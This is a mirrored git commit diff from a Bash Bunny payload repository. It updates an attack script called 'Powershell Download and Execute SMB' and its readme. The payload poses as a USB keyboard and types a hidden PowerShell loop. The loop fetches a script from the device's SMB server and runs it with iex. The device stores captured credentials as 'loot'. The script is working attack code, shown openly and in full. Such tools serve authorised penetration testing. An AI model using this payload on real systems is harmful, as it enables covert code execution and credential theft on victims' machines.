hak5/bashbunny-payloads
1
0
Fork 0
mirror of https://github.com/hak5/bashbunny-payloads.git synced 2025-10-29 16:58:25 +00:00
Code Issues Packages Projects Releases Wiki Activity

Updated psh_DownloadExecSMB payload for fw v1.2 (#209)

Browse Source 
* Powershell SMB Delivery

* fixed smbserver.py call

* Combined ATTACK MODES, improved SMB check

* version fix
This commit is contained in:
hink 2017-05-02 20:41:44 -05:00 committed by Sebastian Kinne
parent 4165a2dda9
commit 4d9bfeedd3
2 changed files with 16 additions and 26 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

33
payloads/library/execution/psh_DownloadExecSMB/payload.txt
View File

@ -2,11 +2,11 @@
# #
# Title: Powershell Download and Execute SMB # Title: Powershell Download and Execute SMB
# Author: LowValueTarget # Author: LowValueTarget
# Version: 1.0 # Version: 1.2
# Category: Powershell # Category: Powershell
# Target: Windows XP SP3+ (Powershell) # Target: Windows XP SP3+ (Powershell)
# Attackmodes: HID, RNDIS_ETHERNET # Attackmodes: HID, RNDIS_ETHERNET
# Firmware: >= 1.1 # Firmware: >= 1.2
# #
# Quick HID attack to retrieve and run powershell payload from BashBunny SMBServer. Credentials are stored as loot. # Quick HID attack to retrieve and run powershell payload from BashBunny SMBServer. Credentials are stored as loot.
# Ensure psh.txt exists in payload directory # Ensure psh.txt exists in payload directory
@ -15,17 +15,19 @@
# #
# | Attack Stage | Description | # | Attack Stage | Description |
# | ------------------- | ------------------------------| # | ------------------- | ------------------------------|
# | Stage 1 | HID | # | Stage 1 | Powershell |
# | Stage 2 | RNDIS_ETHERNET | # | Stage 2 | Delivering powershell payload |
# | Stage 3 | Delivering powershell payload |
# #
ATTACKMODE RNDIS_ETHERNET HID
# SETUP # SETUP
LED SETUP LED SETUP
REQUIRETOOL impacket # required for SMB server REQUIRETOOL impacket # required for SMB server
GET SWITCH_POSITION GET SWITCH_POSITION
GET TARGET_HOSTNAME GET TARGET_HOSTNAME
GET HOST_IP
PAYLOAD_DIR=/root/udisk/payloads/$SWITCH_POSITION PAYLOAD_DIR=/root/udisk/payloads/$SWITCH_POSITION
# Check for psh.txt # Check for psh.txt
@ -48,30 +50,19 @@ mkdir -p ${LOOTDIR}/${HOST}-$COUNT
# Log file # Log file
LOGFILE=psh_smb.log LOGFILE=psh_smb.log
# Prevent premature access to SMB server
echo "1" > /proc/sys/net/ipv4/icmp_echo_ignore_all
# Start SMB Server # Start SMB Server
mkdir -p /loot mkdir -p /loot
python /tools/impacket/examples/smbserver.py -comment 'Public Share' s /tmp/ > /loot/${LOGFILE} & python /tools/impacket/examples/smbserver.py -comment 'Public Share' s /tmp/ > /loot/${LOGFILE} &
# STAGE 1 - HID # STAGE 1 - Powershell
LED STAGE1 LED STAGE1
ATTACKMODE HID
RUN WIN "powershell -WindowStyle Hidden \"while (\$TRUE) {If (Test-Connection 172.16.64.1 -count 1 -quiet) {iex (New-Object Net.WebClient).DownloadString('\\\172.16.64.1\s\psh.txt');New-Item \\\172.16.64.1\s\COMPLETE -ItemType file;exit}}\"" RUN WIN "powershell -WindowStyle Hidden \"while (\$true) { If ((New-Object net.sockets.tcpclient ($HOST_IP,445)).Connected) { iex (New-Object Net.WebClient).DownloadString('\\\\$HOST_IP\\s\\psh.txt');New-Item \\\172.16.64.1\\s\\COMPLETE -ItemType file;exit}}\""
# Remove tracks in the psh payload if you wish # Remove tracks in the psh payload if you wish
# STAGE 2 - ETHERNET/SMB # STAGE 2 - Wait until payload retrieved
LED STAGE2
ATTACKMODE RNDIS_ETHERNET
# Re-enable ICMP ping to trigger the powershell stager
echo "0" > /proc/sys/net/ipv4/icmp_echo_ignore_all
# STAGE 3 - Wait until payload retrieved
# Wait until payload is retrieved # Wait until payload is retrieved
LED STAGE3 LED STAGE2
while ! [ -f /tmp/COMPLETE ]; do sleep 0.5; done while ! [ -f /tmp/COMPLETE ]; do sleep 0.5; done
# CLEANUP # CLEANUP
@ -81,6 +72,6 @@ LED CLEANUP
mv /loot/${LOGFILE} ${LOOTDIR}/${HOST}-$COUNT mv /loot/${LOGFILE} ${LOOTDIR}/${HOST}-$COUNT
rm /loot/${LOGFILE} rm /loot/${LOGFILE}
# Sync file system # Sync file system
sync; sleep 1; sync sync
LED FINISH LED FINISH

9
payloads/library/execution/psh_DownloadExecSMB/readme.md
View File

@ -2,11 +2,11 @@
## Powershell Download and Execute SMB ## Powershell Download and Execute SMB
* Author: LowValueTarget * Author: LowValueTarget
* Version: Version 1.0 * Version: Version 1.2
* Target: Windows XP SP3+ (Powershell) * Target: Windows XP SP3+ (Powershell)
* Category: Powershell * Category: Powershell
* Attackmodes: HID, RNDIS_Ethernet * Attackmodes: HID, RNDIS_Ethernet
* Firmware: >= 1.1 * Firmware: >= 1.2
## Description ## Description
@ -21,6 +21,5 @@ Quick HID attack to retrieve and run powershell payload from BashBunny SMBServer
| Attack Stage | Description | | Attack Stage | Description |
| ------------------- | ------------------------------| | ------------------- | ------------------------------|
| Stage 1 | HID | | Stage 1 | Powershell |
| Stage 2 | RNDIS_ETHERNET | | Stage 2 | Delivering powershell payload |
| Stage 3 | Delivering powershell payload |